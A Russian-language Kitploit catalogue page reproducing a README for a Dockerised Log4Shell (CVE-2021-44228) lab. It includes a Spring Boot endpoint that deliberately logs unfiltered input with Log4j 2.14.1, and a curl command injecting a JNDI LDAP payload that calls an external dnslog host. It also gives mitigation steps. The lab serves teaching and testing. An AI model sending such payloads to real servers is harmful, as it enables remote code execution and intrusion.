Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Log4j-Vulnerability — Техническое исследование и реализация тестовой среды для уязвимости Apache Log4j (CVE-2021-44228). Содержит докеризированное доказательство концепции (PoC) и предложение по обновлению PSSI. Для целей лабораторной работы. | Kitploit
Инструменты/GitHubGitHub/loliverte/log4j-vulnerability
Безопасность контейнеровАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и Образование
GitHubloliverte/log4j-vulnerability

Log4j-Vulnerability

Техническое исследование и реализация тестовой среды для уязвимости Apache Log4j (CVE-2021-44228). Содержит докеризированное доказательство концепции (PoC) и предложение по обновлению PSSI. Для целей лабораторной работы.

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий
68 месяцев назадЕщё не проверено

🔓 Демонстрация уязвимости Log4Shell (CVE-2021-44228)

Этот проект представляет собой контролируемую тестовую среду для воспроизведения и понимания критической уязвимости Log4Shell (CVE-2021-44228), затрагивающей библиотеку Apache Log4j.


📁 Архитектура проекта

root@kitploit:~
Secutp1/
├── Dockerfile                           # Сборка Docker-образа
├── pom.xml                              # Зависимости Maven (уязвимая Log4j 2.14.1)
├── README.md                            # Этот файл
└── src/
    └── main/
        └── java/
            └── com/
                └── example/
                    └── VulnerableApplication.java   # Уязвимое приложение Spring Boot

🎯 Цель

Продемонстрировать, как злоумышленник может использовать уязвимость CVE-2021-44228, чтобы заставить сервер выполнить несанкционированное исходящее сетевое соединение, просто отправив вредоносную строку.


🔍 Анализ уязвимого кода

1. Управление зависимостями (pom.xml)

Файл pom.xml принудительно использует Log4j 2.14.1 — версию, предшествующую исправлению безопасности:

root@kitploit:~
<log4j2.version>2.14.1</log4j2.version>

Эта версия содержит класс JndiLookup, включенный по умолчанию, что является корнем проблемы.

2. Java-приложение (VulnerableApplication.java)

Приложение предоставляет REST-веб-сервис. Уязвимость находится в методе index:

root@kitploit:~
@GetMapping("/")
public String index(@RequestParam(name = "input", required = false, defaultValue = "test") String input) {
    // УЯЗВИМАЯ СТРОКА :
    logger.info("Requête reçue, input : " + input);
    return "Bonjour ! Votre input a été loggé : " + input;
}

Проблема: Приложение получает пользовательский параметр (input) и передаёт его напрямую в logger.info() без какой-либо фильтрации. Log4j затем интерпретирует содержимое как потенциальную команду.

3. Инфраструктура Docker (Dockerfile)

Dockerfile использует двухэтапную сборку:

  • Этап 1: Компиляция с Maven (maven:3.8.4-openjdk-11)
  • Этап 2: Запуск с eclipse-temurin:11-jre

💡 Использование Java 11 актуально, так как более новые версии по умолчанию ограничивают загрузку удалённых классов.


⚙️ Механизм атаки

Эксплуатация основана на внедрении JNDI (Java Naming and Directory Interface):

  1. Log4j обнаруживает синтаксис ${jndi:protocole://url} в логах
  2. Он динамически пытается подключиться к указанному URL
  3. В реальном сценарии это позволяет загрузить и выполнить вредоносный Java-класс (RCE)

🧪 Пошаговая процедура эксплуатации

Шаг 1: Подготовка

Убедитесь, что следующие файлы находятся в одной папке:

  • Dockerfile
  • pom.xml
  • src/main/java/com/example/VulnerableApplication.java

Шаг 2: Сборка Docker-образа

root@kitploit:~
docker build -t vulnerable-app .

Эта команда загружает зависимости Maven (Log4j 2.14.1) и создаёт образ.

Шаг 3: Запуск контейнера

root@kitploit:~
docker run -p 8080:8080 --name demo-log4j vulnerable-app

Теперь приложение слушает порт 8080.

Шаг 4: Подготовка свидетеля (Listener)

  1. Зайдите на сервис DNS-логирования:
    • dnslog.cn
    • dnslog.org
    • Burp Collaborator
  2. Скопируйте предоставленный адрес (например: mon-test.dnslog.cn)

Шаг 5: Внедрение полезной нагрузки

В новом терминале выполните следующую команду:

root@kitploit:~
curl "http://localhost:8080/?input=\${jndi:ldap://mon-test.dnslog.cn/a}"

📝 Примечание: Символ \ используется для экранирования $ в терминале.

Шаг 6: Проверка

Вернитесь на сайт dnslog. Вы увидите появившийся DNS-запрос, подтверждающий, что сервер выполнил внедрённый код.


📊 Ожидаемый результат


🚨 Заключение

Сервер выполнил исходящее соединение с внешней машиной, просто записав в лог пользовательский запрос.

В реальном сценарии это соединение позволило бы:

  • Загрузить вредоносный Java-класс
  • Выполнить произвольный код (RCE — Remote Code Execution)
  • Получить полный контроль над сервером

🛡️ Устранение

Для исправления этой уязвимости:

  1. Обновите Log4j до версии 2.17.1 или выше
  2. Отключите JNDI-лукапы: -Dlog4j2.formatMsgNoLookups=true
  3. Удалите класс JndiLookup из classpath

📚 Ссылки

  • CVE-2021-44228 - NVD
  • Уязвимости безопасности Apache Log4j
  • ANSSI - Уязвимость Log4Shell

📜 Лицензия

Этот проект предоставляется только в образовательных целях. Используйте его ответственно и этично.

Скачать инструмент
ШагДействие
1Java-приложение получает HTTP-запрос
2Строка logger.info(...) обрабатывает параметр input
3Log4j обнаруживает синтаксис ${jndi:...}
4Log4j выполняет LDAP-разрешение к удалённому серверу
5DNS-запрос появляется в интерфейсе DNSLog